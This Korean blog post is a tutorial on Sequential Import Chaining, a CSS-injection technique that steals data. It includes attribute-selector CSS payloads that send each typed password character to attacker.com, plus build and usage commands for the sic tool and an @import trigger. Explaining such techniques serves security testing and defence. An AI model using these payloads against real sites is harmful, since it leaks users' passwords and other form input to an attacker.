Sequential Import Chaining을 이용한 CSS 기반 데이터 탈취
오늘은 CSS 기반의 공격 기법인 Sequential Import Chaining에 대해 이야기하려고 합니다. 자체적으로 뭔가 영향력이 있는건 아니지만, CSS를 제어할 수 있을 때 영향력을 증폭시켜줄 수 있는 방법이니 꼭 알아두고, 유용하게 사용하시길 바래요 😊
Sequential Import Chaining
Sequential Import Chaining은 d0nutptr이 제시한 공격 기법으로 CSS Injection이나 RPO(Relative Path Overwrite) 시 영향을 올리기 위한 Exploit 방법 중 하나입니다.
이 방법은 CSS의 Attribute Selectors란 기능, 즉 DOM Object의 value 값에 따라서 스타일을 지정할 수 있도록 제공하는 기능을 이용한 방법인데요. 탈취하려고 하는 Object의 name, id, class에 Attribute Selector를 모든 문자마다 이에 상응하는 background
를 지정하여 사용자가 해당 Object에 키 입력 시 CSS에 따라서 변경된 주소를 호출하는 방법입니다.
input[name=password][value^=a]{
background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
background: url('https://attacker.com/9');
}
만약 사용자가 CSS Injection이 발생한 페이지에 접근한 후 아래 Object 영역에 패스워드를 작성하는 순간, 이미지 처리를 위해 공격자 서버로 GET 요청이 발생하게 됩니다.
<form>
<input type=text name=id value="">
<input type=password name=password value="">
</form>
다만 이러한 과정은 CSS Injection을 통해 주입해야할 값이 굉장히 많기 떄문에 d0nutptr가 만든 sic란 도구를 통해서 쉽게 구성하는게 좋습니다. 자 그럼 sic로 넘어가보죠.
Generate payloads with sic
Workflow
sic는 위 과정을 쉽게 구성하기 위한 어플리케이션입니다. 이러한 과정은 총 3가지의 flow로 구성됩니다.
@import
를 통해 staging payload를 읽어옵니다.- staging payload에는 다시
@import
를 사용해 여려 payload를 polling 하는 코드가 존재합니다. - 각각 payload는
background
를 통해 sig 서버를 호출하고, sig 서버는 이 값에 따라 다시@import
규칙을 생성하여 브라우저가 로드하도록 처리합니다.
Installation
sic는 rust 기반으로 프로그램으로 cargo를 이용해 build/install이 가능합니다. cargo registry에는 sic란 이란 이름의 다른 도구가 이미 있기 때문에 d0nutptr의 github에서 따로 클론 후 빌드하여 사용해야 합니다.
git clone https://github.com/d0nutptr/sic
cd sic
cargo install --path .
이제 /Users/<유저이름>/.cargo/bin
하위에 sic 바이너리가 생성됩니다. PATH 등록을 해두셨다면 편하겠죠.
Generatec
sic는 polling할 host, callback host 그리고 template 파일을 필수로 명시해야 합니다.
sic -p 3000 --ph <polling-host> --ch <callback-host> -t <template>
먼저 가장 중요한 template을 보면 polling payload에서 사용할 css 코드를 정의가 필요한데요. 특별한건 없고 탈취할 데이터에 맞는 CSS를 지정한 후 background쪽에 {{:callback:}}
과 {{:token:}}
을 통해 변수 값을 세팅해주시면 됩니다.
input[name=password][value^={{:token:}}] { background: url('{{:callback:}}'); }
callback은 요청받을 주소이자 cli에선 --ch
flag 값이며, token은 탈취할 데이터를 기록할 필드를 의미합니다. 예시를 하나 들어보면 3000 포트로 polling host를 구성, callback은 3001번 포트, 그리고 위 template을 파일로 저장하여 로드합니다.
sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t tt.txt
이후 polling-host 주소를 @import
구문을 이용하여 호출하기만 하면 됩니다.
Trigger
<style>@import url('http://localhost:3000/staging?len=32');</style>
페이지에 sic의 주소를 import하는 CSS 코드가 로드되면 위와 같이 polling-host 주소에서 페이로드를 가져옵니다. 먼저 staging payload로 읽어올 여러 payload(polling payloads)를 한번에 로드하고, polling payload에선 각각 background
를 지정하는 코드가 포함됩니다.
Conclusion
전 사실 CSS Injection이나 RPO 등의 PoC를 작성할 때 position을 많이 건드리긴 합니다. 아주 예전에 css injection의 대표적인 악용 사례인 iframe을 이용한 탈취는 제약적인 조건이 많아서 솔직히 애용하진 않았었는데요. sequential import chaining의 이러한 제약 조건 없이 악용 케이스를 만들 수 있어서 PoC에 대한 고민이나 exploitable을 증명할 때 정말 유용하게 사용할 수 있는 기술이라고 생각합니다.
그리고 매번 느끼지만, 정말 FE는…. 심오합니다 😫
References
- https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://github.com/d0nutptr/sic
- https://www.hahwul.com/cullinan/rpo/
- https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/